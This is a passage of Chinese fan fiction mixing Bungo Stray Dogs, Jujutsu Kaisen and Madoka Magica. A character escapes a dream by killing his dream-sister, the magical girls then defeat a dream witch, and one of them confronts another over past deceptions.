她喊了一声之后，现在又开始沉浸在自己的世界之中，专心致志地哭泣。 第187章 很明显，这个女子的精神情况有不小的问题。 那个被换做幸樱的女孩也早就清楚这点，都已经习以为常，并不会感到奇怪。 她只是更加担心母亲的情况。 幸樱关心地看着对方，不知道该怎么安慰，随即想起来似乎应该先给对方处理伤口。 于是，她立刻转身去到了卧室，好一阵翻找之后，提着一个家用医药箱赶忙又跑了回来。 “小心。”伊江朔久拉住她的袖子，赶紧提醒道。 幸樱才低头注意到自己刚才太过匆忙，差点踩到地上的瓷杯碎片了。 她及时避开，缓了口气。 “知道了。” 女孩不好意思地说完，就继续提着医药箱往那边走，凑到了精神恍惚的母亲身边。 她蹲下来，从医药箱里拿出了碘伏和棉签，难得地耐心起来，放慢了速度，轻轻地给对方腿上的伤口消了毒。 而伊江朔久便去收拾那些掉落一地的杯子碎片。 不知不觉中，亚麻色长发女子停止了哭泣，怔怔地看着眼前为自己处理伤口的女孩。 “好了。” 女孩给伤口消完毒再缠好纱布，将其他东西收回医药箱。 随后，她抬起头便对上了母亲望着自己的目光。 幸樱有些不知所措。 沉默了片刻后，那女子先抬起了双手……幸樱下意识地身体一僵，表现出了躲闪的反应，伊江朔久也立刻看过去。 但是没有打骂，连批评都没有，女子只是抬起双手紧紧环抱住了自己的女儿。 幸樱颤声喊：“妈妈？” “对不起……” “幸樱，对不起……” “我生病了，妈妈只是生病了才会这样，不要离开我。幸樱，我只剩下你了。” 女子哽咽地说着。 幸樱因为很久没被这样抱过而有点不自在，但却也很高兴能待在母亲的怀抱里，借此汲取着温暖，回忆往昔的美好时光。 她一遍遍安慰母亲道：“没关系，妈妈，我知道的。” “不用担心，你的病一定会好的。” “我不会离开你的，还有朔久，我们永远是一家人……” 可是，当说到这里时，亚麻发女子松开了抱住女儿的手，敏感地问：“朔久是谁？是坏人吗？” “你不要被骗了，幸樱，你爸爸就是被坏人骗走了，你千万要小心……” 女孩尴尬为难地听着，不免频频回头去看安静地待在不远处的弟弟，担心他会因这些话而难过。 而现如今，伊江朔久当然不会再为母亲而伤心，他的家人只有姐姐。 就算听到这些话，他的情绪也没有起什么波澜。 仅仅是在姐姐回头望过来的时候，他露出些许柔软的笑意，表示自己并不在意。 幸樱组织了下语言，对母亲说道：“妈妈，你忘了，朔久是弟弟呀，他就在那里……” 在幸樱的示意下，女子才仿佛终于看到了一旁三四岁的小孩，白发青瞳，让人看着很是眼熟。 女子对着伊江朔久喃喃道：“幸樱？” 她又看向离自己更近的女孩，一时之间有些茫然：“两个幸樱？” 她晃了晃脑袋，怀疑自己眼花了，想要看得更清楚一些，却感到有些头疼，难受地垂下了头。 女子紧紧拉住女儿的衣袖，不安地哭诉道：“我好像病得更严重了，为什么我能看到两个你？” 幸樱艰难地想要解释，可不知道该怎么说才能让对方听进去：“没有两个我，那不是我……” 女子却更惶恐了。 “那是谁？伪装成你的坏人吗？” 幸樱张口道：“不是的……” “姐姐。” 听到声音，幸樱侧头去看自己的弟弟。 对方看起来是那么熟悉又陌生，表情语气和以前没有太多变化，可却让人意外感觉成长了很多。 “我先回房间了。” 他懂事地说完，离开客厅向旁边的房间走去。 幸樱张着嘴，却直到对方走进了房间并关上门，却还没能够发出任何声音来。 …… 根据所看到的情况，太宰治大概在心里构建出了伊江朔久过去的家庭背景。 长期缺席的父亲大概是主动抛弃了家庭，有着精神问题的母亲平常可能有时会肆意对着孩子发火、有时哭泣哀怨…… 对两个这么小的孩子而言，这样的家庭还真是够糟糕的。 可是，伊江朔久居然会处于这样的梦境之中。 他真的会不舍留恋这里的生活吗？这有什么好怀念的？ 鱼歖湍堆 太宰治尽量思考着。 或许这个家庭过去是有着美好难忘的回忆，从女孩的反应就能看出来，她对这个家回到过去那种向好的情况依旧抱有期待。 可是，那样的过去应该是有点久远了。 至少那样的温馨美好，伊江朔久应该没怎么体会过，那时候他大概率还处于过于年幼不记事的状态…… 所以，精神失常后对孩子漠不关心的母亲，才会连伊江朔久这个人都记不清。 这么说来，值得伊江朔久怀念的也就只剩下这个姐姐了。 难不成幸樱已经死了？ 确实存在这个可能性。 但太宰治却感觉，大概不会是这样。 伊江朔久与姐姐相处时，不像是在面对一个死掉的重要的家人。虽然露出过怀念不舍的神色，但却没有太过难过痛惜悲伤的情绪。 更何况，如果这个姐姐死了的话，伊江朔久肯定会用契约许愿使她复活。 总不会是复活后的姐姐忘记了他吧？ 太宰治想起了自己和织田作的经历，思绪忽然卡了下壳，倒也不是不可能…… 他无声地叹了口气。 还得多亏了这次奇怪的梦境。 不然可能再过很久，都不一定有人能知晓伊江朔久的这些秘密，毕竟那个人一如既往地擅长隐瞒。 第188章 独自一人回到房间里，伊江朔久坐在靠窗的椅子上，侧头看向外面的世界。 天色已经彻底黑了。 夜空中繁星闪烁，是难得的绚丽景象，明天很有可能会是个阳光明媚的晴天。 真好…… 就是可惜，没办法再看到这里的明日了。 伊江朔久清楚，自己不能再浪费时间拖延下去了。这里的梦境虽然美好，却也只是虚幻的产物。 如果外界的一切已经不再需要他……他想，自己是愿意欺骗自己，沉溺在虚假的轻松美好的生活的。 可是，现在还不行。 计划后面的关键步骤还需要自己，他不能不管不顾地留在这个地方。 再过一会儿，就与这里告别吧。 伊江朔久准备等姐姐回来。在等待的时间里，他又拿起了桌子上的故事书，一页页地翻看着，回顾着久违的过去。 小时候，家里的电视坏了，一直没有去修。他当时也没有像同龄的孩子那样去读书，所以连一个朋友也没有。 看这些故事书就成了重要的消磨时间的方式。 这些原先都是几年前父母买给幸樱的，后来姐姐经常给他读这些故事，他也很喜欢听。会认字了以后，他也会翻来覆去地看这些已经快要背会的故事。 过了好一段时间之后，门轻轻响了。 女孩小心翼翼地打开门，结果看见自家弟弟又在看书，不解又无奈地说：“都这么晚了，你却不睡觉，怎么又在看这些自己根本看不懂的书？” 伊江朔久没有正面回答，只是说：“我在等你。” 幸樱疑惑道：“等我？等我做什么？” 伊江朔久顿了顿，说道：“今天还没有跟你说晚安。” 幸樱先是愣了一秒，随即眼神变得有点锐利，幽幽地说：“不对劲，你有点奇怪啊，朔夜。” 伊江朔久毫不担心地接话：“哪里奇怪了？” “你就像是一下子长大了一样，说话做事都很有大人的感觉，这样显得我很幼稚啊。” 幸樱一边说着，一边忽地伸手放在伊江朔久头上，将他的头发揉乱。 伊江朔久适时地将自己伪装起来，表现出姐姐希望看到的、小孩子茫然不解的稚嫩情绪。 果然，女孩忍不住笑起来。 “这样就正常多了，好了好了，你是不是一个人睡觉会害怕，所以才在这里等我啊？” 伊江朔久无奈点点头：“嗯，因为之前做了噩梦。” “噢……”幸樱恍然道：“怪不得你今天一天都奇奇怪怪的，原来是昨天没有睡好。对了，你梦见了什么来着？” 伊江朔久想了想，慢慢地说：“我梦见，四周只剩下我一个人，我走了很久很久，身体越来越沉重，可是前方的路却始终看不到尽头……” “梦和现实都是相反的，你不会是一个人的，放心。” 虽然很不擅长安慰的话，可幸樱还是尽力地说着，越说越觉得自己的语言很无力。 她觉得弟弟的情绪失落，肯定跟家庭情况和母亲的那些表现脱不开关系。 “妈妈她只是生病了才会这样的，她其实还是很喜欢你的。别难过，等到她病好了之后，一切都会好转的……” 伊江朔久无言地听着，有点不知道该怎样接话。 因为他明白，不是这样的。 生病的母亲无法独立，需要他们这两个孩子，折磨着自己又折磨着他们。 可是如果她病好了，清醒过来了，决定迈向更好的未来，绝不会费工夫地带上他们两个拖油瓶一起向前。 伊江朔久清楚地记得多年前的那个下午。 那时他十岁出头，提前从外面回家，听见门里传来母亲与其新认识的朋友交谈的声音。 他鬼使神差地停在门口犹豫了几秒，就听见了那些陌生而冰冷的话。 “你真的想要和我去另一座城市？” “嗯，这里有太多让我难过痛苦无法面对的回忆了，我想换个地方重新开始自己的人生。” “这样挺好的，但你准备怎么安排这两个孩子？你如果带着他们，总会有很多不方便之处。” “放心，我早就不想再管他们了。” “真的？你能忍下心吗？” “我看见他们，就能想起他们的父亲，以及我那些糟糕透顶的过去。” 可是……这关他们什么事？ 当年的伊江朔久无法接受。 明明在母亲的病好不容易好了之后，姐姐是那么高兴，那么期待一家人今后越来越好的未来…… 明明母亲曾经那么多次打骂过他们，又在那之后哭着紧紧抱住他们，道歉说自己只是生病了。 但为什么现在会变成这种情况？ 伊江朔久很希望自己听错了。 但是紧接着，对方那轻飘飘的话语又传进他耳中。 “反正幸樱现在的事情都不需要我管了，还能照顾好弟弟，不用我操心什么，也该我好好去过自己的新生活了。” “其实，我也越来越不喜欢这两个孩子了。” “幸樱学习成绩太差了，不会有什么出息，性格也风风火火的，和我一点都不像。” “而朔久则跟他姐更亲，都这么大了，再怎么培养感情也养不熟了……” …… 当年，他痛苦犹豫了很久，还是没能将听到的这些话告知给姐姐。 但是幸樱怎么可能会被蒙在鼓里？ 母亲要抛弃他们的想法是那么一目了然，他们再怎么蒙蔽自己，也改变不了这些事实。 没过多久，幸樱就还是被迫知道了。 因为母亲一声不吭地在某天忽然离开了，果然之前那些话都是真心的，她就这样轻易地抛弃了他们。 第189章 甚至，母亲离开的时候，还悄悄将自己的许多物品打包带走了，家里一下子变得空荡了许多。 幸樱还找了很久，依旧没找到母亲留下的任何信息。 她没有将联系方式告诉他们，连电话号码都换了个新的，似乎是生怕他们两个找过去打扰她未来的幸福。 这样的行为，和多年前的父亲几乎一模一样。 他们两个人莫名其妙就成了父母应该都还在世的孤儿。 如果时间真的能够重来，他会选择想办法打破姐姐当时天真的期许，阻止对方为不值当的愿望轻易将自己给卖出去。 可是现在…… 看着年幼的姐姐忍不住总是重复着“妈妈只是生病了”这句话，也不知道是在安慰他，还是安慰自己。 伊江朔久在心里叹气，表面上却附和道：“……我相信，她的病一定会好的。” 用不了多久，这虚假的一切就会结束，没必要惹得她在最后的时间不开心。 伊江朔久提醒道：“姐姐，你还不睡觉吗？” “也是，都这么晚了，确实该睡觉了。” 幸樱突然灵光一闪，保证道：“不用担心，我今天陪着你睡着了再走，肯定不会再做那种噩梦的。” “不用……”伊江朔久愣了下，立刻推脱：“我一个人可以。” 他当然不能就这样睡下，他还得等着幸樱先睡着，然后再解决掉这一切。 “别跟姐姐客气啦。” 幸樱把他拉到旁边的床上，不容置疑地让他脱掉外套躺下，给他扯好被角。再去把灯关掉，只留了一盏床边暖黄色的小夜灯。 “好啦，快睡觉吧，晚安。” 女孩坐在床边的小凳子上，双手撑着脸笑盈盈地看着他，声音放轻说道。 伊江朔久：“……晚安。” 这样被人盯着睡觉还真有点不习惯。 伊江朔久忍不住说道：“其实我自己能睡的，你也……” “真是的，你再过几个月就不是三岁小孩了，怎么还这么倔、不肯好好睡觉。” 幸樱打断了他的话，调侃似的说着：“算了，那睡前我再陪你玩个游戏好吧。” “就是我们之前经常玩的那个——我们一起闭上眼睛，谁先睁开谁就输了。” 伊江朔久无言。 “快点闭上眼睛！”幸樱吓唬道：“不然就只能算你输了哦。” 姐姐的性格，和他记忆里的还真是一模一样，这么多年都没怎么变过。 伊江朔久只得听话地闭上了眼睛。 他知道，幸樱现在肯定还睁着眼睛，视线落在他身上。 对方就等着看他忍不住悄悄睁开眼，然后立刻出声吓唬道“你睁开眼睛了，要输了哦！”。 小时候还不懂套路的自己，应该会吓得立刻闭上眼睛，不知不觉中就慢慢睡着了，完全不知道姐姐从始至终都没有闭眼。 但现在他早就不会再上当了。 伊江朔久闭着眼睛装睡，等着幸樱见他睡着了、然后再放心地回自己的房间去睡觉。 可奇怪的是，等了很久，他都没有听见床边的人起身离开的声音。 反而，一旁的呼吸声逐渐变得均匀平稳下来，还越来越清晰地传入他耳中。 伊江朔久终于睁开了眼，侧头看去。 发现七八岁的女孩正趴在床边，头枕着手臂，呼吸声能让人听得很清楚，显然已经陷入了熟睡…… 她这是怎么自己先睡着了的？ 伊江朔久忍不住轻轻笑了起来。 可是下一刻，当想起等会儿自己要做的事情……他的呼吸便骤然一滞，笑意凝结在脸上，心脏仿佛被什么东西紧紧攥住般的疼痛。 他深吸了几口气，让自己尽量恢复平静。 紧接着，伊江朔久动作很轻地掀开了被子，从床上下来。 他小心翼翼地扶住女孩，艰难地试图用这个三四岁的身体将她从凳子上挪到床上。 随着时间慢慢前进，女孩还真被转移到了床上。 也是幸亏幸樱的睡眠质量一直都很好，这样都没能醒来。 伊江朔久给对方盖上被子，再扯好被角。 做完了这一切之后，他坐在床边，静静地看着姐姐。他们两个人的面容都被昏黄的灯光映照着，显得格外柔和而温馨。 如果这是真实的场景，那该有多好…… 年幼的男孩垂下眼帘，青色的眼瞳难得暗沉沉的，压抑着和他年纪不符的痛苦与愁绪。 他将手伸向怀中，攥住自己提前藏起来的那把小刀。 “姐姐……” 伊江朔久呢喃的声音微不可闻，就像是被夜风吞没。 这是梦境，只是梦境而已…… 清醒的方法大概率只能是杀死自己最留恋的存在。 他不能留在这里，沉溺在虚假的温暖中，对外界不管不顾。这完全是懦弱逃避的行为。 只有离开了这里，他才能够真正地保护好自己重要的家人和朋友。 “对不起。” 伊江朔久低声道。 他看着女孩的脖颈处，将攥着的小刀高高举起。 动作得够快够狠，一举命中致命的位置，才能最大限度地减少别人临死前的痛苦。 虽然这只是幻象而已，完全没必要这么做，更没必要为此难过伤心。 但无奈人类一直是情感动物。 他的手紧紧握住刀柄，指节因过于用力而发白，身体不住地微微颤抖着…… 已经不能再拖下去了，这样对谁都不好。 在心里又挣扎了一会儿后，伊江朔久才终于下定了决心。 “晚安……” 声音沙哑地说完了最后这一句话。 他本能地屏住呼吸，猛地发力，手中的小刀在柔和的昏黄灯光下划过一道冰冷的弧线—— 血液瞬间喷涌而出。 鲜红的、温热的、让人浑身发寒的血液。 第190章 血液溅到了他的脸庞和双手，染红了女孩的脖颈和白发，渗透了被罩和床单…… 在这样的刺激下，女孩的身体本能猛然一颤，眼睛微微睁开。 但眼中那抹青色却很快涣散，失去了光芒，变得空洞而冰冷。 “咣当——” 此时此刻，伊江朔久再也握不住刀柄，任由它掉落在地。 梦境也终究无法维持下去了，周围的景象开始扭曲，那些熟悉的过去一点点消散。 晚安…… 他该清醒过来了。 …… 太宰治在看到睡前的那些温馨场景时，还想起了菲茨杰拉德，刚才他的梦境里就是这样相似的氛围。 而伊江朔久也是这样。 从太宰治开始看的那一刻起到现在，伊江就没有为离开梦境而努力过，俨然一副沉溺于虚幻之中的样子。 他还真有点担心，对方也跟菲茨杰拉德一样被困在梦境里。 但没想到，伊江朔久一如既往的擅于伪装……最后直接拿出藏了很久的小刀对着重要的家人下手时的样子，还真是容易令人惊吓。 梦境破裂之后。 那个大型的白色茧慢慢化为虚无，白色长发的少女出现在了原地，和走进结界之时的样子没有任何差别。 只是她看上去稍微有点恍惚，和平常给人的感觉不太一样。 尽管周围都是陌生的场景，但白发少女第一时间只是微微低着头，看向自己干净白皙的双手，仿佛那里本该沾染着什么东西一般。 “朔夜前辈。” 太宰治出声喊她。 白发少女侧头看去，刚才恍惚的神情立刻本能地收回去，习惯性地捡起自己的伪装，平静地问道： “怎么了？” 太宰治顿了顿，还是坦诚地问：“你还好吗？” 伊江朔久理解了对方的神情，以及话里的含义：“……你看见了？” 太宰治沉默地微笑。 “……” 伊江朔久也消化了一阵，控制住自己的情绪，说道：“以后请别和任何人提这件事了，包括我。” 这话倒是令人感到有点奇怪了。 太宰治在想要探究他们的秘密时，就做好了准备，知道他们得知后可能会发泄什么糟糕情绪。 可是，伊江朔久现在说的这句话却不在他的预期之内，显得有些莫名其妙。 前半句还好解释，但是后半句…… 明明两个人都知道这件事了，有什么避而不谈的必要呢，这不是在掩耳盗铃吗？ 太宰治忽然想起了丘比。 ……说起来，丘比没办法被普通人所看见，还能让魔法少女们以它为连接在心里进行交流。 这些特征很适合探究传递情报，过往也帮了她们很大的忙。 但是，太宰治一直没有轻易信任丘比，所以也没有随便相信它自己说过的那些话，比如它的目的、特殊能力等等。 如果丘比说了谎，它的真实能力是可以随便指定某人是否可以看见自己…… 那么，伊江朔久的这句话就能够解释了。 ——对方可能在担心，他下次跟对方谈及这件事时，可能会被丘比听到。 回想起过去的种种经历，太宰治对伊江朔久与丘比的关系有了一些更深入的理解与猜想。 “我知道了，不会泄露你的秘密的。” 太宰治应了下来。 “谢谢。”伊江朔久看上去倒是对太宰治挺放心，了解他不会随便背信：“那现在我该去解决掉这次的魔女了。” 太宰治点了点头，笑道： “说起来，我们也有好一段时间没有一起战斗过了。” 于是，两位魔法少女一同朝着结界深处走去，感应着越来越浓厚的魔女气息，去寻找它的踪迹。 这些并没有花费什么功夫。 她们只往前走了一会儿，就看到了魔女的存在。 那是一个悬浮的半透明状的茧，体型比刚才所见过的所有白茧都要大，时不时轻轻颤动一下，就好像在呼吸一般。 津岛和朔夜都走到了这个茧的面前，它却仍旧没有别的变化。 “这么特殊的魔女倒还真是罕见。” 太宰治饶有兴趣地猜测道：“它不会也正沉浸在美梦之中吧？” 伊江朔久认同道：“很有可能。” 将所有进入结界的存在全部拉入梦境之中，在这期间魔女如果有不好的念头，很容易从梦境外轻易杀死所有人。 这样的能力太超模了。 所以，伊江朔久推测，魔女在构建梦境的时候，它自己也会同样公平地沉浸梦里。 这么说来，这个魔女的杀伤力应该不强。 伊江朔久暗暗琢磨着。 或许可以将这个魔女暂且控制起来，它还有可以利用的价值，这样杀掉太可惜了。说不定能够借此解决他的一些困扰…… 不过，面临的代价也需要提前考虑。 ——如果不杀掉魔女，那么那些陷入梦境的人就无法醒来。 除非让魔女解除自己的能力，但这很难做到……众所周知，人类是无法与魔女那种怪物交谈的。 伊江朔久想要掌握魔女的力量，得研究一段时间，还大概率得用上自己天平的能力。 这也需要他花费不少时间精力，探究如何用最小的代价交换得来最有用的成果。 短暂地考虑完之后，伊江朔久采取了行动。 她伸手握住从虚空中凝结而成的弓箭，拉动弓弦，箭矢对准了魔女的方向。 魔女似乎是感知到了危险，那个茧颤动地越发剧烈了，里面隐隐约约能听到呜咽和悲鸣的声音。 太宰治感受到了对方的悲伤。 一般在离死亡最近的时候，几乎所有魔女都会挣扎愤怒恐惧。 但是，太宰治却感觉眼前的魔女不是因死亡而难过，而是在为自己即将从美好的梦境之中生生被割离出来而悲伤。 让太宰治想起了刚才所见的那些梦境之中的场景…… 或许，对这个魔女而言，永远陷入梦境之中并不是一种诅咒，而是再幸福不过的愿望吧。 就在此刻，一箭从太宰治身边呼啸而过。 太宰治听到朔夜声音很轻地说了一句：“晚安。” 随即，那支威力强大的箭矢穿透了那颗茧。 面前爆发出刺眼的白光，那颗茧瞬间化为碎片四散泯灭…… 可是，在太宰治难以观察到的角落，朔夜的袖口下也同时有奇怪的光亮一闪而过，随即她隐蔽地用手紧紧攥住了那道光芒。 结界开始坍塌了。 比以往杀死魔女后的坍塌速度要快上一些，大概是因为刚才那支箭矢穿透了茧之后，插到了结界内壁之上。 太宰治回头去看身后原本那些密密麻麻的白色小茧。 按照经验来看，这时候被魔女控制的人们就会摆脱控制，这些茧也就会破裂消失。 可惜，现在来不及跑回去看一下艾尔菲的笑话了。 但出乎意料的是，那些茧似乎没什么动静？ 太宰治来不及思考，结界便彻底坍塌了，她和朔夜一起回到了原本结界入口处的现实世界之中。 与她们一起回来的，还有最早进入结界的艾尔菲。 可艾尔菲却是以昏迷倒地的形式出现的，一动不动地躺在地上，神情却安然放心，像是还沉浸在之前的美梦里。 为什么会这样？ 太宰治若有所思地看向伊江朔久，敏锐地觉得这事和她脱不开干系。 ——“艾尔菲？！” 能看得出来，魔法少女之中最有同伴情的就是悠衣了。 周围的人都看到了艾尔菲的情况，但还是悠衣最先来到沉睡的艾尔菲身边，关心对方的状态。 “这是……跟刚才那些人的情况一样？艾尔菲也中招了？” 虎杖悠仁不解道。 “你们没有解决掉那个魔女？” 伏黑惠皱起眉，也难以理解地问道：“可是明明我能够感觉到，魔女的结界已经崩塌了，它的气息也正在慢慢淡去。”【你现在阅读的是 】 190-200 第191章 朔夜刚要开口，就听见一旁的津岛道：“是啊，朔夜前辈已经解决掉那个魔女了哦。” 朔夜下意识看向津岛。 她能看得出来，津岛刚才是有点怀疑自己的，但不知道为什么，津岛会说出这样的话。 悠衣忧虑地道：“那为什么艾尔菲还不醒？” “这我就不知道了。” 津岛摇了摇头，随口道：“可能是这个魔女的能力很特殊吧。或许陷入梦境的人，只能靠自己醒来。” 禅院穗闻言有些短暂的失神。 片刻后她似乎想起了什么，神情不安又焦急。甚至都没来得及多说什么，就直接当众拿出了津岛曾送给自己的书页进行使用。 瞬间，禅院穗的身影消失在了原地。 津岛不禁问道：“……禅院这是怎么了？” 虎杖悠仁倒是想到伏黑惠匆匆离去的原因了——对方现在肯定很担心姐姐，想要去看看姐姐现在的情况。 “呃……” 虎杖悠仁迅速思考着，该怎么帮伏黑惠糊弄过去。 还没来得及想出个合适的理由，就听见津岛提议说： “禅院那么着急赶去安全屋肯定有事情要忙吧。刚好我们现在也应该把艾尔菲暂且安置好，那刚好就一起过去吧，说不定还能帮上禅院的忙。” 糟糕…… 虎杖悠仁意识到情况有点不妙。 津岛作为书页的拥有者，能感知到被自己送出去的书页的使用情况。 而刚才情况紧急，自己把伏黑津美纪和江尾向日临时送到了安全屋内。现在伏黑的情绪又不稳定，肯定会特别着急姐姐的安危，很难找借口将其他人糊弄过去。 如果现在和其他魔法少女一起过去，伏黑岂不是要面临身份危机？ 虎杖悠仁开口就想阻止：“算了吧，禅院她……” 可是，不知道津岛是不是故意的——没等她说完话，津岛就抢先使用了书页。 “我先过去咯。” 这里一下子就没了原先的人影，只留下这么轻飘飘的一句话。 虎杖悠仁人都懵了。 但现在也没别的什么办法了，反应过来之后，她也只得立刻使用了书页，带着艾尔菲去往安全屋。 …… 魔法少女们纷纷出现在了安全屋里。 最诧异无措的就是身为普通人的江尾向日了，她茫然地看着这些平常最多只能远远看到的特殊人物，有些局促得都不知道该干什么了。 悠衣赶忙先跟她搭话。 “你是江尾小姐对吧？魔女的事情应该解决了，剩下的事情我们会处理的。我先送你回去吧。” 说着，她就很快地要带对方离开，性格有些内向的江尾向日就下意识地听悠衣的话、跟着她走。 悠衣在离开前，还不忘心虚地给她们简单解释了下。 “这是牵扯进这次魔女事件的人，因为当时情况比较着急，就有朋友拜托我先把这两个人安置在这里了。” 说这话的时候，悠衣的视野还总忍不住瞥向禅院穗。 但是对方正守在沉睡的津美纪面前，神情恍惚，完全不往这边分来半分目光。 不过，如今悠衣也只足以带走江尾向日，剩下的只能靠禅院穗自己了。 “没关系，不用担心，艾尔菲这边还有我们看着呢。” 津岛随意地跟悠衣挥挥手。 看着悠衣带走不相干人员后，空气中暂时沉默了几秒。 艾尔菲和伏黑津美纪都一无所知地被安置在这个安全屋唯一的一张床上，也是幸亏床足够大，两人可以一人躺一边。 但氛围还是很尴尬。 在场唯一能活跃氛围的津岛，此刻却看着床上的津美纪，似乎在思考什么，偶尔还不经意地瞥一眼旁边的朔夜。 如果换做是往常，伏黑惠绝对会担心自己的马甲，毕竟男性成为魔法少女这种事肯定是需要隐瞒到死的重要秘密。 但是，不管什么东西，和津美纪都没有可比性。 “……魔女真的死了吗？” 禅院穗垂头看着津美纪，忽然出声问道。 还是津岛在替朔夜回答：“应该吧，这是我亲眼所见。” 从表面看，津岛和朔夜都没有必要说谎，而且魔女气息的淡去和结界的消失也是魔女死掉的重要证明。 禅院穗没有理由在这种事情上多做纠缠。 可是……津美纪还没有醒来？ 为什么醒不来？ 就像几年前因为诅咒而陷入沉睡一样，不知道到底还要怎样做才能让她好好地醒过来。 奇迹怎么可能无限制地重复发生呢？ 伏黑惠紧紧咬着牙，绝望在心底蔓延。 为什么都已经给自己了一次新的机会，但自己仍然没能保护好津美纪，就像当初一样…… 伏黑惠回想起了当初在医院，第一次遇到魔女时自己的心情。 如果不管怎么努力，结果还是不会有任何改变，那么自己到底是为什么要乞求奇迹的发生？ 和丘比签约到底有什么用？ 说起来，那天在米花中央医院的魔女结界里，伏黑惠注意到了手术室的设备仪器上有着米花综合医院的标记。 之前的自己一直没有多想什么，认为魔女不会永远停留在一个地方是很正常的。 但是现在，伏黑惠忽然察觉出了其中的问题。 当时医院那魔女明明处于刚刚孵化的状态，怎么可能会从米花综合医院跑到离了那么长一段距离的米花中央医院？ 而且，那魔女偏偏出现在津美纪的病房窗外，孵化的时机恰好是他来看望姐姐的时候，不久前他还对丘比充满抵抗情绪，但这次事件却增添了他对魔法少女那些存在的信任程度…… 这些都太过巧合了。 那么，巧合便不会只是巧合。 第192章 伏黑惠现在想来，只觉得一切意外的背后都像有人为的痕迹。 “……我早该想到的。” 黑发少女自嘲似的喃喃了一句。 应该是有人将即将孵化的悲叹之种放在了津美纪病房外，为了让这件事更显巧合，还特意挑选了与医院有关联的魔女。 只不过那个人估计没能想到，魔女结界里会留有米花综合医院的标记。 还有…… 伏黑惠随后侧头看向另一边的白发少女，脸上的表情不由得冷了下来。 “为什么，为什么你当初会来得那么及时？” 伊江朔久顿了顿：“什么？” 伏黑惠完全没有掩盖自己身份的想法，直言道：“当初在米花中央医院，你是故意和丘比配合好了的吧。将即将孵化的悲叹之种放到我姐姐病房外面，在我走投无路的时候，再出现救下我……就是为了让我答应丘比的契约吧？” “我当初居然没能看透，居然就这样被你们欺骗了这么久……” 伏黑惠声音越来越哑，包含着的情绪越来越浓厚。 像一个不断被注入水的气球，压力一点点地要将其击垮，直到彻底崩溃。 也确实快要如此了。 伊江朔久能够看到对方的灵魂宝石在一点点被黑色浸没，原本的幽绿色已经几乎变成了墨绿色，甚至还在不断黯淡下去。 “你先冷静一下。” 伊江朔久立刻打断对方的话，拿出一颗悲叹之种抛给对方，“你必须要净化自己的灵魂宝石了。” 但伏黑惠没有接，任由那颗悲叹之种滑落到地上，在地上滚了几圈，看起来像个被人嫌弃的垃圾。 在一旁看着的太宰治感觉这样的场景有点眼熟，默了默，选择先在一旁看看情况。 太宰治早就推测出禅院穗的真实身份了。知道伏黑津美纪对伏黑惠的重要性，也就对如今的场景并不意外。 让她好奇的只有伊江朔久会怎么做。 同样都是只有姐姐一个重要的家人，伊江朔久应该会很理解伏黑惠的心情吧，那对方会怎么安抚伏黑惠呢？会解释自己的苦衷吗？ “宝石彻底变黑后会怎样？” 伏黑惠用毫不在意自己的语气说着，目光挪向旁边安静地睡着的津美纪：“会像她这样永远地沉睡过去吗？” 听说上次，悠衣在远离自己的灵魂宝石之后，便忽然失去了意识，直到灵魂宝石重新回到她身边。 那么，宝石彻底变黑估计也就会造成这种情况吧。 最差也只是死亡而已。 白发少女沉默了几秒：“……你为什么总是这样不在意自己？” 伏黑惠知道对方在指什么。 当年他第一次见到朔夜时，差点就召唤出了魔虚罗要和魔女同归于尽。 “果然，你知道我的身份。” 伏黑惠质问道：“你是什么时候知道的？是丘比在一开始就告诉了你吧？！这几年看我被蒙在鼓里有意思吗？” 伊江朔久下意识张了张口，但发不出一点声音。 这些话说的也没错。没什么好否认的。 虽然当初医院的魔女不是他放在那里的，但是他确实知道是谁故意这么做的，却没有说出来，还一直对所有人隐瞒着魔法少女的真相。 “你姐姐不会有事的。” 朔夜最终只是转移话题，说道：“请等一等，用不了多久，她一定就会醒来。所以你不该让她醒来后再为你伤心。” 白发少女的声音听起来比往常温和得多。 再加上过往的习惯，伏黑惠紧绷的情绪竟然稍稍松了一点，想起了以前被朔夜救场时的安心感，下意识地想要信任对方。 但是，伏黑惠又硬生生地警醒自己。 “……我怎么能够相信你？” 她反问对方，用着毫不软化的冷硬语气。 就应该这个样子。 她们从来都不是什么同伴，谁知道朔夜联合丘比瞒着她们是为了什么。从无数的线索来看，魔法少女的背后绝对隐藏着巨大阴谋。 朔夜语气依旧：“只是稍微等一等而已，并不算很难吧。” 虽然短暂地耐心等待并没有什么影响，上次津美纪也是在昏迷一年之后才醒过来的…… 但是此时此刻，第二次面对这种事情，伏黑惠怎么都难以理智下来。 “那你倒是说要等待多久？你要怎么做，才能让她醒来？！” 伊江朔久抿着嘴，暂时无法回答这些问题。 “我就不应该相信你和丘比，世界上怎么可能会有免费的午餐。” 伏黑惠垂下头，声音里弥漫着绝望与歉疚：“我到底都做了什么，为什么要鼓动悠衣签约……” 不光是自己傻乎乎地入局而不自知，居然还推动虎杖悠仁也陷入这种糟糕的境地。 “不是的！” 少女清亮的声音划开凝滞的空气。 悠衣从门外进来，声音比人更急急赶到，金色的眸子坚定地看向伏黑惠，喊道： “我不后悔签约，这些都不是你的错。” 伏黑惠一怔，浓厚的情绪暂时没了可供宣泄之处。 虎杖悠仁再接再厉地劝说道：“冷静一点，别想那么多，一切还没有到最糟糕的时候。” 伏黑惠却还是忍不住低落地道：“……对不起。” “真的和你没有关系。”虎杖悠仁摇摇头：“如果再给我一次选择的机会，我还是会答应丘比的。” 一旁的太宰治也配合地随口说道：“虽然不怎么想承认，但我也是一样的想法。禅院，你需要理智地看待这些事情，不要被情绪所裹挟。” 闻言，伏黑惠在心底下意识地同样这么问自己。 如果能够重新选择的话，自己是否会答应丘比的邀约？ ——找不到答案。 一方面，这两三年自己确实过得不错，和姐姐的相处、和同伴的并肩作战都是无可否认的美好回忆。 但另一方面，回首过去，他无法释怀那数不清的谎言。 伏黑惠也会忍不住去想，可能丘比就算没有实现自己的愿望，再过些时间，姐姐或许也有机会醒过来。 毕竟，关于咒术界的诅咒，虽然复杂，但也有迹可循，解决它的方法可比解决魔女诅咒好办多了。 关于魔女的情报则全部掌握在丘比手里，朔夜看起来也知晓许多信息。 他怎么能够信任他们？丘比和朔夜可是一直蒙骗了自己这么久！ “一个月吧。” 白发少女忽然开口，像是下定了什么决心。 其他人目光都挪到她身上。 伊江朔久在心里叹了口气，随后不再犹豫地说道：“有些事情我暂时没办法说。但我保证，一个月内所有陷入沉睡的人都能够醒过来。” 她在心底想到，到时候应该也就要结束这一切了。 ……已经不能再拖下去了。 